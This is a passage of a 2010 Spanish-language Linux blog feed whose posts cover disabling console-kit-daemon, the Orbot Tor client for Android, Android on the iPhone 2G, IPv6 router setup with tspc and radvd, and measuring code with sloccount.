href='http://dclavijo.blogspot.com/2010/05/open-source-nanotech.html' title='Open Source Nanotech'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4295639436822107921</id><published>2010-04-28T19:20:00.000-07:00</published><updated>2010-04-28T19:42:00.237-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='htop'/><category scheme='http://www.blogger.com/atom/ns#' term='bloatware'/><title type='text'>What about bloatware?</title><content type='html'>Noto mi computadora un tanto lenta porque sera, me estoy quedando sin ram,&amp;nbsp;así&amp;nbsp;que instalo el &lt;a href="http://htop.sourceforge.net/"&gt;htop&lt;/a&gt; y encuentro un&amp;nbsp;montón&amp;nbsp;de procesos console-kit-daemon. Lo primero que hago es la salvajada loguearme como root y killall console-kit-daemon :-[&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/__2CpOkNZ4-k/S9jpgSnsZUI/AAAAAAAAASk/dJqGoNVYeGo/s1600/Pantallazo-daedalus@neuromancer:+~.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="325" src="http://4.bp.blogspot.com/__2CpOkNZ4-k/S9jpgSnsZUI/AAAAAAAAASk/dJqGoNVYeGo/s400/Pantallazo-daedalus@neuromancer:+~.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Después&amp;nbsp;me pongo a investigar y resulta que console-kit-daemon solo sirve si nuestro sistema es uno donde se loguean muchos usuarios de forma no concurrente.&lt;br /&gt;O sea permite que el applet fast-user-switcher funcione correctamente, pero como yo soy el&amp;nbsp;único&amp;nbsp;usuario de mi computadora y no me interesa este &lt;a href="http://es.wikipedia.org/wiki/Software_inflado"&gt;bloatware&lt;/a&gt;.&lt;br /&gt;Investigo un poco mas y encuentro un binario:&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;/usr/sbin/console-kit-daemon&lt;/span&gt; que reemplazo por el siguiente script:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#!/bin/sh&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;echo "console-kit-daemon trato de iniciarse pero esta desactivado"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;exit 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si tenemos una computadora donde acceden muchos usuarios y cada uno tiene su cuenta de usuario&amp;nbsp;quizá&amp;nbsp;esta no sea una buena&amp;nbsp;solución&amp;nbsp;podría&amp;nbsp;entorpecernos la cosa pero matar este proceso cuando la computadora esta lenta no nos va a traer mas inestabilidad.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4295639436822107921?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4295639436822107921/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/what-about-bloatware.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4295639436822107921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4295639436822107921'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/what-about-bloatware.html' title='What about bloatware?'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/__2CpOkNZ4-k/S9jpgSnsZUI/AAAAAAAAASk/dJqGoNVYeGo/s72-c/Pantallazo-daedalus@neuromancer:+~.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-558249605334678940</id><published>2010-04-25T18:23:00.000-07:00</published><updated>2010-04-25T18:39:21.654-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tor'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Orbot cliente oficial del torproject para Android</title><content type='html'>&lt;a href="https://www.torproject.org/img/android/android-bootstrapping.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="https://www.torproject.org/img/android/android-bootstrapping.jpg" width="216" /&gt;&lt;/a&gt;&lt;br /&gt;En otro post anterior (&lt;a href="http://dclavijo.blogspot.com/2009/10/java-tor-onioncoffe.html"&gt;Java + Tor = OnionCoffe&lt;/a&gt;) ya habia mencionado al navegador &lt;a href="http://www.cl.cam.ac.uk/research/dtg/android/tor/"&gt;shadow y el torproxy&lt;/a&gt;&lt;br /&gt;Ahora me toca contarles acerca de &lt;a href="https://www.torproject.org/docs/android.html.en"&gt;Orbot&lt;/a&gt; el cliente oficial el proyecto &lt;a href="http://torproject.org/"&gt; torproject.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Las principales caracteristicas que tiene incoorporadas son:&lt;br /&gt;soporte para privoxy (http-&amp;gt;socks)&lt;br /&gt;Soporte para socks 4/5&lt;br /&gt;Soporte para proxy transparente en caso de que tenga&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El codigo se encuentra en su repo svn,&amp;nbsp;podemos clonarlo con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$svn co https://svn.torproject.org/svn/projects/android/trunk/Orbot/&lt;/span&gt;&lt;br /&gt;o&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git svn clone&amp;nbsp;https://svn.torproject.org/svn/projects/android/trunk/Orbot/&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Tambien lo podemos instalar desde el &lt;a href="https://www.torproject.org/dist/android/0.2.2.10-alpha-orbot-0.0.5.apk"&gt;binario&lt;/a&gt; o desde su qr code.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://www.torproject.org/img/android/orbot-qr-code-latest.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://www.torproject.org/img/android/orbot-qr-code-latest.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-558249605334678940?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/558249605334678940/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/orbot-cliente-oficial-del-torproject.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/558249605334678940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/558249605334678940'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/orbot-cliente-oficial-del-torproject.html' title='Orbot cliente oficial del torproject para Android'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6947090509809530727</id><published>2010-04-25T17:15:00.000-07:00</published><updated>2010-04-25T17:15:57.762-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='iphone'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Android en el Iphone 2g</title><content type='html'>La gente del proyecto &lt;a href="http://linuxoniphone.blogspot.com/"&gt;Linux on Android&lt;/a&gt; posteo un video de Android corriendo en una version 2g del Iphone.&lt;br /&gt;&lt;br /&gt;A continuacion les dejo el video:&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/5yO2KQHkt4A&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/5yO2KQHkt4A&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Tambien ya tienen su propio repo git en github el cual pueden clonar si quieren:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$repo init -u git://github.com/planetbeing/platform_manifest.git -b android-sdk-1.6_r2-iphone&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y el tree del &lt;a href="http://wiki.github.com/planetbeing/iphonelinux/openiboot-installation"&gt;openiboot&lt;/a&gt; es:&lt;br /&gt;&lt;br /&gt;git://github.com/planetbeing/iphonelinux.git &lt;br /&gt;&lt;br /&gt;Actualmente el proyecto carece de soporte completo sobre el hardware no funciona ni el acelerometro ni las&amp;nbsp;características&amp;nbsp;de manejo de&amp;nbsp;energía, pero sera&amp;nbsp;cuestión&amp;nbsp;de tiempo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6947090509809530727?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6947090509809530727/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/android-en-el-iphone-2g.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6947090509809530727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6947090509809530727'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/android-en-el-iphone-2g.html' title='Android en el Iphone 2g'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-767396340227468674</id><published>2010-04-24T20:08:00.000-07:00</published><updated>2010-04-24T20:08:24.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freenet6'/><category scheme='http://www.blogger.com/atom/ns#' term='radvd'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6'/><category scheme='http://www.blogger.com/atom/ns#' term='tspc'/><title type='text'>Configurando Router Ipv6</title><content type='html'>En un post anterior (&lt;a href="http://dclavijo.blogspot.com/2008/08/configurar-tnel-ipv6-tspc-en-linux.html"&gt;Como configurar tunel ipv6 en debian/ubuntu&lt;/a&gt;) sobre este tema explique como configurar el tspc con una cuenta de &lt;a href="http://freenet6.net/"&gt;freenet6.net&lt;/a&gt; para tener conexion ipv6 en un desktop ahora introduzco unas modificaciones para que nuestro host funcione como router de ipv6 charan!&lt;br /&gt;&lt;br /&gt;Modificamos el archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/tsp/tspc.conf&lt;/span&gt; y agregamos:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#en esta linea indicamos que el host se comoporte como router&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;host_type=router&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#especificamos la mascara de subred&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;prefixlen=64&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#especificamos que la interface donde escuchara radvd sera eth1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;if_prefix=eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/tspc restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#tail -f /var/log/tspc.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;2010/04/24 23:03:47 tspc: tspSetupInterface: Your IPv6 address is 2001:05c0:1400:000b:0000:0000:0000:04cb&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;2010/04/24 23:04:19 tspc: tspSetupInterface: Your IPv6 address is 2406:a000:f0ff:fffe:0000:0000:0000:0d61&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#tail -f /var/log/daemon.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Apr 24 23:12:37 router avahi-daemon[2916]: Registering new address record for 2406:a000:f001:3900::1 on eth1.*.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tenemos ipv6!!!&lt;br /&gt;&lt;br /&gt;Modificamos el archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/radvd.conf&lt;/span&gt; y agregamos la segunda ip que nos de el tspc&lt;br /&gt;&lt;br /&gt;Por ejemplo&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;2406:a000:f0ff:fffe:0000:0000:0000:0d61&lt;/span&gt; es la ip del router y esta asignada a sit1&lt;br /&gt;&lt;br /&gt;La segunda ipv6 que nos devuelve &lt;span class="Apple-style-span" style="color: lime;"&gt;2001:05c0:1400:000b:0000:0000:0000:04cb&lt;/span&gt; es la que tenemos que configurar en el radvd:&lt;br /&gt;&lt;br /&gt;Asi que nuestro &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/radvd.conf&lt;/span&gt; se tiene que ver asi:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;br /&gt;interface eth1&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;AdvSendAdvert on;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;prefix 2406:a000:f001:3900::1/64&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;AdvOnLink on;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;AdvAutonomous on;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;};&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;reiniciamos el radvd con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/radvd restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y si hacemos&lt;br /&gt;&lt;br /&gt;ifconfig eth1 vemos que efectivamente le asigno la nueva ipv6 que nos dio el tunel&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#ifconfig eth1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;eth1 &amp;nbsp; &amp;nbsp; &amp;nbsp;Link encap:Ethernet &amp;nbsp;HWaddr 00:10:4b:9c:af:55 &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;inet addr:192.168.10.1 &amp;nbsp;Bcast:192.168.10.255 &amp;nbsp;Mask:255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;inet6 addr: 2406:a000:f001:3900::1/64 Scope:Global&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;inet6 addr: fe80::210:4bff:fe9c:af55/64 Scope:Link&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;UP BROADCAST RUNNING MULTICAST &amp;nbsp;MTU:1500 &amp;nbsp;Metric:1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;RX packets:22641 errors:0 dropped:0 overruns:0 frame:0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TX packets:20275 errors:0 dropped:0 overruns:0 carrier:0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;collisions:0 txqueuelen:1000&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;RX bytes:3475410 (3.3 MiB) &amp;nbsp;TX bytes:11000917 (10.4 MiB)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Interrupt:9 Base address:0xec00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo descomentamos la siguiente linea del archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/sysctl.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;net.ipv6.conf.all.forwarding=1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora en cada host que tengamos conectado a la red con soporte ipv6 vamos a tener una nueva ipv6 asignada&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#tail -f /var/log/syslog&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Apr 24 23:17:10 neuromancer avahi-daemon[1468]: Leaving mDNS multicast group on interface eth0.IPv6 with address fe80::2c0:f0ff:fe5b:7313.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Apr 24 23:17:10 neuromancer avahi-daemon[1468]: Joining mDNS multicast group on interface eth0.IPv6 with address 2406:a000:f001:3900:2c0:f0ff:fe5b:7313.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Apr 24 23:17:10 neuromancer avahi-daemon[1468]: Registering new address record for 2406:a000:f001:3900:2c0:f0ff:fe5b:7313 on eth0.*.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Apr 24 23:17:10 neuromancer avahi-daemon[1468]: Withdrawing address record for fe80::2c0:f0ff:fe5b:7313 on eth0.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Incluso desde nuestros host de la red interna podemos pinguear a ipv6.google.com para testear nuestra conexion.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ping6 ipv6.google.com&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;PING ipv6.google.com(gx-in-x93.1e100.net) 56 data bytes&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;64 bytes from gx-in-x93.1e100.net: icmp_seq=1 ttl=50 time=903 ms&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;64 bytes from gx-in-x93.1e100.net: icmp_seq=2 ttl=51 time=899 ms&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;64 bytes from gx-in-x93.1e100.net: icmp_seq=3 ttl=51 time=891 ms&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;64 bytes from gx-in-x93.1e100.net: icmp_seq=4 ttl=51 time=899 ms&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;^C&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;--- ipv6.google.com ping statistics ---&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;4 packets transmitted, 4 received, 0% packet loss, time 2999ms&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;rtt min/avg/max/mdev = 891.919/898.705/903.491/4.266 ms&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;Voila tenemos ipv6 en todas nuestras maquinas!!!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-767396340227468674?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/767396340227468674/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/configurando-router-ipv6.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/767396340227468674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/767396340227468674'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/configurando-router-ipv6.html' title='Configurando Router Ipv6'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8047826169844027766</id><published>2010-04-23T21:45:00.000-07:00</published><updated>2010-04-24T00:35:52.193-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='montevideolibre'/><category scheme='http://www.blogger.com/atom/ns#' term='sloccount'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='svn'/><title type='text'>Probando sloccount</title><content type='html'>&lt;a href="http://www.dwheeler.com/sloccount/"&gt;SLOCCount&lt;/a&gt; es una aplicacion desarrollada para contar las lineas de codigo de una aplicacion y estimar el costo en tiempo, dinero insumidos para la creacion de esta.&lt;br /&gt;&lt;br /&gt;Por ejemplo me clone con git todo el repositorio de montevideolibre del svn y luego&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install sloccount &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;mkdir montevideolibre&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$cd montevideolibre&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git svn clone &lt;a href="http://svn.montevideolibre.org/uma"&gt;http://svn.montevideolibre.org/uma&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git svn clone &lt;a href="http://svn.montevideolibre.org/web"&gt;http://svn.montevideolibre.org/web&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git svn clone &lt;a href="http://svn.montevideolibre.org/portal"&gt;http://svn.montevideolibre.org/portal&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego ejecute slocount con el parametro --personcost que indica el salario real percibido por un desarrollador al año.&lt;br /&gt;Mi base fue 10000 que es mas o menos el promedio que un programador puede percibir en Uruguay en pesos por 13 o sea los 12 sueldos mas el aguinaldo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$sloccount --personcost 130000 .&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Creating filelist for portal&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Creating filelist for uma&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Creating filelist for web&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Categorizing files.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Finding a working MD5 command....&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Found a working MD5 command.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Computing results.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;SLOC Directory SLOC-by-Language (Sorted)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;3765    web             php=3163,sh=457,python=145&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;3381    uma             tcl=2502,sh=768,awk=111&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;1878    portal          sh=1301,awk=256,ansic=192,sed=104,php=25&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Totals grouped by language (dominant language first):&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;php:           3188 (35.33%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sh:            2526 (27.99%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;tcl:           2502 (27.73%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;awk:            367 (4.07%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;ansic:          192 (2.13%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;python:         145 (1.61%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed:            104 (1.15%)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br 